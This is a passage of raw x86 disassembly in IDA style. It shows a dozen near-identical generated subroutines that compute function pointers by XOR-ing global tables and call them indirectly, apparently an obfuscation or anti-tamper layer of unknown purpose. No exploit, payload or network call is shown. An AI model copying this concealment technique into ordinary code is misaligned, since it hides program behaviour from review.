dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 17h mov [ebp+var_2C], 63h mov [ebp+var_28], 0EBh mov [ebp+var_24], 7Fh mov [ebp+var_20], 0EFh mov [ebp+var_1C], 89h mov [ebp+var_18], 54h mov [ebp+var_14], 0A7h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3EB6 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3EB6: ; CODE XREF: sub_4A3E25+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3E25 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A3F22 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED868o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Fh mov [ebp+var_2C], 0E5h mov [ebp+var_28], 0C4h mov [ebp+var_24], 0DEh mov [ebp+var_20], 0B2h mov [ebp+var_1C], 57h mov [ebp+var_18], 5Bh mov [ebp+var_14], 0C2h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A3FB3 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A3FB3: ; CODE XREF: sub_4A3F22+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A3F22 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A401F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED86Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0A7h mov [ebp+var_2C], 74h mov [ebp+var_28], 0B6h mov [ebp+var_24], 0D6h mov [ebp+var_20], 35h mov [ebp+var_1C], 27h mov [ebp+var_18], 0D3h mov [ebp+var_14], 45h mov [ebp+var_10], 7 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 7 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A40B0 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A40B0: ; CODE XREF: sub_4A401F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A401F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A411C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED870o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 70h mov [ebp+var_2C], 0B6h mov [ebp+var_28], 0D1h mov [ebp+var_24], 0 mov [ebp+var_20], 0C3h mov [ebp+var_1C], 0CEh mov [ebp+var_18], 82h mov [ebp+var_14], 18h mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A41AD mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A41AD: ; CODE XREF: sub_4A411C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A411C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4219 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED874o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 1Fh mov [ebp+var_2C], 8Dh mov [ebp+var_28], 0A7h mov [ebp+var_24], 44h mov [ebp+var_20], 67h mov [ebp+var_1C], 5Dh mov [ebp+var_18], 2 mov [ebp+var_14], 0CEh mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A42AA mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A42AA: ; CODE XREF: sub_4A4219+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4219 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4316 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED878o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 8Fh mov [ebp+var_2C], 81h mov [ebp+var_28], 48h mov [ebp+var_24], 0Fh mov [ebp+var_20], 0C5h mov [ebp+var_1C], 9Fh mov [ebp+var_18], 20h mov [ebp+var_14], 81h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A43A7 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A43A7: ; CODE XREF: sub_4A4316+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4316 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4413 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED87Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 68h mov [ebp+var_2C], 78h mov [ebp+var_28], 0F2h mov [ebp+var_24], 1Dh mov [ebp+var_20], 33h mov [ebp+var_1C], 82h mov [ebp+var_18], 0D2h mov [ebp+var_14], 8Ch mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A44A4 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A44A4: ; CODE XREF: sub_4A4413+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4413 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4510 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED880o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 1Dh mov [ebp+var_2C], 16h mov [ebp+var_28], 50h mov [ebp+var_24], 0B6h mov [ebp+var_20], 4Dh mov [ebp+var_1C], 41h mov [ebp+var_18], 9Fh mov [ebp+var_14], 0B7h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A45A1 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A45A1: ; CODE XREF: sub_4A4510+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4510 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A460D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED884o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 9Fh mov [ebp+var_2C], 5Ch mov [ebp+var_28], 0ECh mov [ebp+var_24], 4Dh mov [ebp+var_20], 92h mov [ebp+var_1C], 71h mov [ebp+var_18], 0A5h mov [ebp+var_14], 6Eh mov [ebp+var_10], 2 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 2 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A469E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A469E: ; CODE XREF: sub_4A460D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A460D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A470A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED888o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 38h mov [ebp+var_2C], 0AFh mov [ebp+var_28], 6Ah mov [ebp+var_24], 6Fh mov [ebp+var_20], 5Bh mov [ebp+var_1C], 83h mov [ebp+var_18], 78h mov [ebp+var_14], 2Ah mov [ebp+var_10], 6 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 6 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A479B mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A479B: ; CODE XREF: sub_4A470A+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A470A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4807 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED88Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0FAh mov [ebp+var_2C], 2Ah mov [ebp+var_28], 45h mov [ebp+var_24], 3Eh mov [ebp+var_20], 0ECh mov [ebp+var_1C], 80h mov [ebp+var_18], 6Fh mov [ebp+var_14], 0Fh mov [ebp+var_10], 14h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 14h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4898 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4898: ; CODE XREF: sub_4A4807+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4807 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4904 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED890o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 51h mov [ebp+var_2C], 0BDh mov [ebp+var_28], 0EFh mov [ebp+var_24], 0B2h mov [ebp+var_20], 81h mov [ebp+var_1C], 0DDh mov [ebp+var_18], 0D1h mov [ebp+var_14], 0A7h mov [ebp+var_10], 5 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 5 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4995 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4995: ; CODE XREF: sub_4A4904+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4A4904 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4A4A01 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004ED894o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 75h mov [ebp+var_2C], 55h mov [ebp+var_28], 94h mov [ebp+var_24], 0A3h mov [ebp+var_20], 6Dh mov [ebp+var_1C], 36h mov [ebp+var_18], 34h mov [ebp+var_14], 0EFh mov [ebp+var_10], 11h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 11h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4A4A92 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4A4A92: ; CODE XREF: sub_4A4A01+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 